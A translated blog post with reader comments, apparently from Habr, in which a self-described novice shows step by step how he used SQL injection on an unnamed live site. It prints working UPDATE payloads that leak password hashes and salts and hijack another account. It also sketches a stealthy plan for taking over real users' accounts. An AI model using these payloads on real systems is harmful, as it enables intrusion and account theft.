Это было забавно, и я подумал, что можно написать интересную статью.
На неё вы и наткнулись.
Примечание: автор переведённой статьи не специалист по информационной безопасности, и это его первый экскурс в мир SQL-инъекций. Он просит быть «снисходительными к его наивности».
Предупреждение: автор переведённой статьи не станет раскрывать сайт с этой уязвимостью. Не потому, что он сообщил о ней владельцу и связан узами молчания, а потому что хочет приберечь уязвимость для себя. Если вы вычислите этот сайт, пожалуйста, держите рот на замке (цыц).
Знаете, вот так иногда открываешь какой-нибудь сайт в инструментарии для разработчика, исследуешь без какой-либо цели минифицированный код и сетевые запросы. И вдруг замечаешь, что-то здесь не так. Совсем не так. Вот и я занимался подобным со страницей пользовательского профиля на одном из сайтов и подметил, что, когда включаешь и выключаешь уведомления о получении, страница шлёт сетевой запрос:
/api/users?email=no
И я подумал: интересно, не допустили ли они какую-нибудь глупость? Может быть, мне попробовать SQL-инъекцию?
Я поискал в сети по запросу “xkcd little bobby tables”, чтобы освежить в памяти, как делать SQL-инъекции — мне они не нравятся, — и принялся за работу.
В сетевой вкладке Chrome я скопировал запрос (Copy > Copy as fetch) и вставил результат во фрагмент, чтобы можно было воспроизвести запрос:
fetch('https://blah.com/api/users', {
credentials: 'include',
headers: {
authorization: 'Bearer blah',
'content-type': 'application/x-www-form-urlencoded',
'sec-fetch-mode': 'cors',
'x-csrf-token': 'blah',
},
referrer: 'https://blah.com/blah',
referrerPolicy: 'no-referrer-when-downgrade',
body: 'email=no', // < -- The bit we're interested in
method: 'POST',
mode: 'cors',
});
Вся остальная статья посвящена возне со строкой
body
— она является транспортом для отправки инструкций серверу.Сначала я попытался изменить свою фамилию, задав значение в колонке
lastName
, ориентируясь просто на её название:{
// ...
body: `email=no', lastName='testing`
}
Ничего интересного не произошло. Затем я проделал то же самое с
last_name
, потом попытал счастья с surname
— и опа! — страница заменила мою фамилию на “testing”.Это было очень захватывающе. Я всегда считал SQL-инъекции чем-то вроде книжной легенды. Тем, что на самом деле не открывает миру код, который вставляет вводимые пользователем данные прямо в SQL-выражения.
Для всех непосвящённых объясню, что означает обнаруженный мной результат.
Я считаю, что на сервере происходит нечто подобное:
const userId = someSessionStore.userId;
const email = request.body.email;
const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;
Уверен, что их сервер написан на PHP, но я не владею этим языком, так что буду писать примеры на JavaScript. Кроме того, я не особо-то разбираюсь в SQL-запросах. Понятия не имею, называется ли таблица
user
, или users
, или user_table
, да это и не важно.Если мой пользовательский ID 1234, и я отправляю email=no, тогда SQL получается таким:
UPDATE users SET email = 'no' WHERE id = '1234'
А если заменить
no
на строку no', surname = 'testing
, тогда SQL будет валидным, но хитрым:UPDATE users SET email = 'no', surname = 'testing' WHERE id = '1234'
Как вы помните, я отправляю запросы из фрагмента кода в инструментах для разработчика, при этом нахожусь на странице профиля. Так что с этого момента можно считать поле surname на этой странице (HTML-элемент <inрut>) маленьким stdout, в который можно записывать информацию, задавая для моего пользовательского аккаунта значение в колонке
surname
в базе данных.Затем мне стало интересно, удастся ли скопировать данные из другой колонки в колонку
surname
?Я не понимал, что делать, как быть с SQL, да к тому же не знал, какая БД используется на сервере. Так что после каждого шага я тратил минут по 20 на поиски в сети, а потом ещё 20 минут чесал в затылке, потому что регулярно вставлял свои кавычки ' не туда, куда нужно. Странно, что я не порушил всю базу данных.
Копировать данные из одной колонки в другую оказалось чуть сложнее, потому что я хотел отправить такой запрос (предполагалось, что должна быть колонка
password
):UPDATE users SET email = 'no', surname = password WHERE id = '1234'
Обратите внимание, что в коде вокруг
password
нет кавычек. Как вы помните, суперсовременный конструктор запросов должен выглядеть так…const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;
… то есть при попытке передать
no', surname = password
получившаяся строка не будет валидным SQL-запросом. Вместо этого мне нужно было, чтобы инъектируемая строка целиком стала второй частью запроса, а всё, что идёт после неё, игнорировалось бы. В частности, мне нужно было передать WHERE
и; в конце SQL-выражения, а также комментарий #
, чтобы информация справа от него игнорировалась. Да, я ужасно объясняю.Короче, я отправил новую строку:
{
// ...
body: `email=no', surname = password WHERE username = 'me@email.com'; #`
}
А в базу данных будет отправлена такая строка:
UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com';
# WHERE id = '1234'
Обратите внимание, что БД проигнорирует
WHERE id = '1234'
, поскольку эта часть идёт после комментария # (кажется, запрет на комментирование в SQL-запросах является хорошим способом защиты от неряшливого кода).Я надеялся, что мой пароль P@ssword1 появится в текстовом виде в поле фамилии, но вместо этого я получил 00fcdde26dd77af7858a52e3913e6f3330a32b31.
Меня это разочаровало, хотя и не удивило, и я продолжил попытки скопировать хэш моего пароля в колонку пароля другого пользователя.
Поясню для новичков: когда где-то создаёшь аккаунт и отправляешь новый пароль P@ssword1, он превращается в хэш наподобие 00fcdde26dd77af7858a52e3913e6f3330a32b31 и сохраняется в базе данных. Глядя на этот хэш, никто не сможет определить ваш пароль (или так рассказывают).
Когда в следующий раз вы будете логиниться и вводить пароль Password@1, сервер его снова хэширует и сравнит с хэшем, который хранится в базе данных. Так он подтвердит соответствие, даже не сохраняя ваш пароль.
Это означает, что если я хочу задать кому-нибудь пароль P@ssword1, я должен задать в колонке password у этого пользователя значение 00fcdde26dd77af7858a52e3913e6f3330a32b31.
Легкотня.
Я открыл другой браузер, создал нового пользователя с другой почтой и в первую очередь проверил, могу ли задать ему данные. Обновил ему свойство
body
:{
// ...
body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #`
}
Выполнил код, обновил страницу этого пользователя, и, офигеть, сработало! Теперь у него была фамилия “WOOT!!” (девичья фамилия моей бабушки).
Затем я попробовал задать этому пользователю пароль:
// ...
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b31' WHERE username = 'user-two@email.com'; #`
}
И знаете, что?!?!?
Не сработало. Теперь у меня не было доступа ко второму аккаунту.
Оказалось, я допустил две ошибки, на вычисление которых ушло несколько часов. Специалисты по инфобезопасности, читающие эту статью, уже поняли, о чём речь, и, вероятно, ржут над дураком, который пишет свои «эксплойты», перечисленные на первой странице «Хакинг для самых маленьких».
Нуууууу, в конце концов я поискал в сети по запросу “password hash” и заметил, что многие хэши длиннее моего 00fcdde26dd77af7858a52e3913e6f3330a32b31. Похоже, он где-то обрезается.
Я попытался вписать кусок текста в поле surname, и обнаружил лимит в 40 символов (хорошо, что они задали атрибут maxlength для <inрut>, чтобы соответствовало ограничению в базе данных).
Теперь меня интересовали только первые 40 символов хэша, который мог быть гораздо длиннее. Поискал по запросу “sql substring”, и вскоре отправил на сервер такой запрос:
{
// ...
body: `email=no', surname = SUBSTRING(password, 30, 1000) WHERE username = 'me@email.com'; #`
}
Начал с 30, чтобы убедиться, что первые 10 символов перекрываются последними 10 символами 00fcdde26dd77af7858a52e3913e6f3330a32b31. Или последними 9. Или 11.
Вернёмся к реалиям: символы перекрывались, и объединив строки, я получил хэш из 64 символов. Снова попробовал скопировать его во второго пользователя:
{
// ...
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #`
}
И знаете, что?!?!
Ну, вы уже догадались, ведь я упомянул про две ошибки.
Я по-прежнему не мог залогиниться во второй аккаунт, но уже был близок к этому (хорошо бы мне знать об этом в тот момент).
Поискал по запросу “best practices database password” и узнал/вспомнил о такой штуке, как «соль».
Применение соли означает, что если ты создаёшь хэш для P@ssword1 для одного пользователя, то для другого пользователя тот же пароль даст другой хэш (используется другая соль). Конечно же, один хэш пароля не будет работать для двух пользователей, соли-то разные.
Вроде бы умно, но в то же время глупо. Во всех примерах в таблице просто была ещё одна колонка под названием salt. Разве это не означает, что мне нужно скопировать данные из двух колонок, а не одной? Разве это не выглядит как второй замок, к которому подходит тот же ключ?
Я изменил запрос в надежде скопировать значение из колонки, которая может называться salt,
в колонку surname:
{
// ...
body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #`
}
В поле фамилии оказался беспорядочный набор символов, хороший знак. Для получения того, что оказалось 64-символьной солью, я снова использовал SUBSTRING.
Всё было готово. У меня есть хэш пароля и соль, которая использовалась для его создания, нужно только скопировать их в другого пользователя. И я отправил свой последний в тот вечер сетевой запрос:
fetch('https://blah.com/api/users', {
credentials: 'include',
headers: {
authorization: 'Bearer blah',
'content-type': 'application/x-www-form-urlencoded',
'sec-fetch-mode': 'cors',
'x-csrf-token': 'blah',
},
referrer: 'https://blah.com/blah',
referrerPolicy: 'no-referrer-when-downgrade',
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`,
method: 'POST',
mode: 'cors',
});
Сработало! Теперь я мог залогиниться во второй аккаунт с паролем от первого аккаунта.
Разве это не безумие?
* * *
Было много проб и ошибок, но когда я выберу настоящего пользователя, я сначала получу его соль и хэш и сохраню у себя. Затем заменю его подсоленный хэш на свой, как описано в статье, залогинюсь и моментально заменю соль и хэш на оригинальные значения. Мне нужно лишь на долю секунды изменить чужой пароль, пока я логинюсь, так что меня почти наверняка не обнаружат.
В теории, конечно. Я бы никогда так не сделал.
* * *
Возможно, вам интересно узнать, не выдуманная ли это история. Не выдуманная. Я изменил несколько мелких подробностей, чтобы защититься от обвинений, но всё остальное было так, как описано. И, конечно же, на самом деле я сообщил об уязвимости владельцам сайта.
Но я не могу не спрашивать себя, было ли это всего лишь удачей новичка. Это в буквальном смысле первый сайт, на котором я попробовал SQL-инъекцию, и всё было словно приготовлено для меня, словно я сдавал экзамен по хакингу для малышей.
Описанный мной сайт невелик, у него мало пользователей (34 718). Это платный сервис, так что для матёрых хакеров он не представляет интереса. И всё же меня поразило, что такое возможно.
Короче, теперь я подсел на всю эту тему с информационной безопасностью. Для меня в ней объединились два любимых занятия: написание кода и хулиганство. Так что погуглив “information security salaries Australia”, думаю, я нашёл себе новую работу.
Спасибо, что прочитали!
P.S.: перевод статьи старается максимально сохранить стилистику автора :)
Комментарии (15)
Cerberuser
25.09.2019 04:45Интересно, почему в исходном запросе параметры посылались прямо в строке запроса, а при Copy as fetch — в теле...
barsoo4ok Автор
25.09.2019 13:36Полагаю, описываемый автором метод API извлекает параметры по их имени из тела запроса или query string в зависимости от HTTP-метода и/или фактического наличия этих параметров в том или ином месте. И фронт приложения, соответственно, может использовать различные способы вызова этого метода в разных местах (где-то GET, где-то POST), просто такие детали автор решил не приводить.
equand
25.09.2019 11:01-1Срань господня, это у кого напрямую SQL из get запросов используется?
Egor3f
25.09.2019 13:18И это при том, что хранить отдельные соли для каждого юзера они-таки догадались!
equand
25.09.2019 13:21Непонятно, какого они хранят соли и при этом при генерации хеша не используют другие данные дополнительно? Как например дата создания аккаунта уже бы сломала такую схему входа в аккаунт или еще дополнительные данные какие-либо, которые врядли бы изменялись в будущем
CryptoPirate
26.09.2019 09:48Дату создания таким способом можно будет тоже подменить на этом сайте.
О добавление других полей в хеш нужно догадаться, да. Но если пароли/хеши пишут с использованием стандартных фреймворков, то методы из этого фреймворка известны.
Другими словами: можете всегда считать что алгоритм обработки данных известен хакерам (принцип Керкгоффса).
barsoo4ok Автор
25.09.2019 13:29Вектор может обнаружиться в любом месте, где неочищенные данные извне используются уязвимым кодом и напрямую подставляются в SQL-запрос. Например куки, HTTP-заголовки, параметры в query string или в теле запроса — всё это потенциальные точки для инъекции.
dmeatriy
25.09.2019 17:39Валидация переменных в запросе. Если тебе в email приходит что-то непохожее на user@example.com — лесом.
nsmcan
26.09.2019 03:54Сколько раз уже я нарывался на кривые валидаторы, который отсекают правильные данные…
Есть такой интересный документ: SQL_Injection_Prevention_Cheat_Sheet.md.
Основные техники защиты оттуда:
- Подготовленные выражения (с параметрическими запросами)
- Хранимые процедуры
- Проверка ввода по белому списку
- Экранирование всего пользовательского ввода
NeverIn
Дата оригинальной статьи 22 Sep, но не указано какого года )
Stawros
Исходники из статьи оригинала хостятся на гитхабе и там видно, что залиты они два дня назад, т.е. в 2019 году.